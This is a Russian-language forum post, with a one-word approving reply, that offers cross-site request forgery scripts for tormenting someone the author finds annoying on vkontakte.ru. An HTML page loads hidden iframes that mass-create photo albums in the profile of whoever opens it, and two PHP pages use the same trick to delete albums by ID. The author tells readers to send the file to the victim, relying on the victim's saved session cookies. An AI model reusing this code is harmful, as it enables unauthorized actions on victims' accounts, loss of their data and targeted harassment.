Если вам кто-то очень уж надоел и бесит,то давайте сделаем ему что-нить неприятное,скажем,создадим в его профиле на сайте vkontakte.ru дохера албомов?
Так вот и сам код,пишем его в файл какой-нить с расширением .html
Код:
<html>
<body>
<script language=JavaScript>
var how = 10; //поставьте,сколько албомов надо создать
var ggg = "http://vkontakte.ru/photos.php?act=create&name="; //ну это начальное значение,тут нчие менять не стоит
var name = "kutak"; //Можно сменить имя ,которым будет называться этот альбом
var tmp;
for(i=1;i<=how;i++)
{
tmp = ggg + name + i; //в tmp будет http://vkontakte.ru/photos.php?act=crea … =kutak1,то есть,
//если мы проидум по ссылке,то будет создан альбом kutak1
document.write('<iframe WIDTH=0 HEIGHT=0 src="'+tmp+'"></iframe>'); //Отбображаем фрейм,в котором будет
//как раз та ссылка сгенеренная
//С каждым разом ссылка будет другой,меняя название альбома,то есть в конце будет kutak1 , kutak2 и так до how
}
</script>
</body>
</html>
Вот скрипт на PHP:
PHP код:
<html>
<head>
<title>Удаление.Ждите...</title>
<script language=JavaScript>
function up(last,end)
{
var t = "ping.php?last="+last+"&end="+ end;
location.href=t;
}
</script>
</head>
<body>
<?
$portion = 100; //какими порциями удалять
$wtime = 10000; //сколько миллисекунд ждать перед предыдущим запросом
echo "Удаление.Ждите...";
$del = "http://vkontakte.ru/photos.php?act=do_delete&id=";
$con = 1;
if(isset($_REQUEST["last"]))
{
$last=$_REQUEST["last"];
if(isset($_REQUEST["end"])) $end=$_REQUEST["end"];
else $end=$last*2;
$st = '';
if($last<=$end)
{
for($i=1;$i<=$portion;$i++)
{
$temp = $del.$last;
$st.='<iframe style=\"visibility:hidden\" width=0 height=0 src="'.$temp.'"></iframe>';
$last++;
}
echo $st;
echo '<script>setTimeout("up('.$last.','.$end.')",'.$wtime.');</script>';
}
}
else echo 'Ошибка.ХЗ где...';
?>
</body>
</html>
А Теперь рассмотрим удаление:
del.php:
Вызываться будет так:
_http://path/del.php?last=[ID первого альбома,который надо удалить]&end=[ID последнего альбома]
PHP код:
<html>
<head>
<title>Удаление.Ждите...</title>
<script language=JavaScript>
function up(last,end)
{
var t = "del.php?last="+last+"&end="+ end; //del.php надо менять на имя своего скипта
location.href=t;
}
</script>
</head>
<body>
<?
$portion=10; //порции для удаления
echo "Удаление.Ждите...<br />";
$del = "http://vkontakte.ru/photos.php?act=do_delete&id=";
$file=file('tmp');
if(strlen($file[0])>3)
{
$last=$file[0];}
else {
if($_POST["last"]!=0) {
$last=$_POST["last"];
}
else if($_GET["last"]!=0) $last=$_GET["last"];
}
if($_POST["end"]!=0) $end=$_POST["end"];
else if($_GET["end"]!=0) $end=$_GET["end"];
if($last!=0)
{
$st = '';
if($last<=$end)
{
for($i=1;$i<=$portion;$i++)
{
$temp = $del.$last;
$st= $st.'<iframe width=0 height=0 src="'.$temp.'"></iframe><br />';
$last++;
}
$how = $end-$last;
echo '<br />Осталось '.$how.' альбомов<br />';
echo $st;
echo '<script>setTimeout("up('.$last.','.$end.')",10000);</script>'; //10000 - время ожидания перед обновлением страницы (миллисекунды)
}
else echo '<br />Удалено успешно или нечего удалять.';
}
else echo 'Ошибка.ХЗ где...';
?>
</body>
</html>
Залейте файл на свой хост или просто киньте по асе.Будет очень прикольно
P.S:Скрипт будет работать только если у пользователя сохранен пароль в браузере(cookies) ,скрипт эмулирует нажатие кнопки создать альбом,то есть делает то же самое,но меняя имя
круто!!!
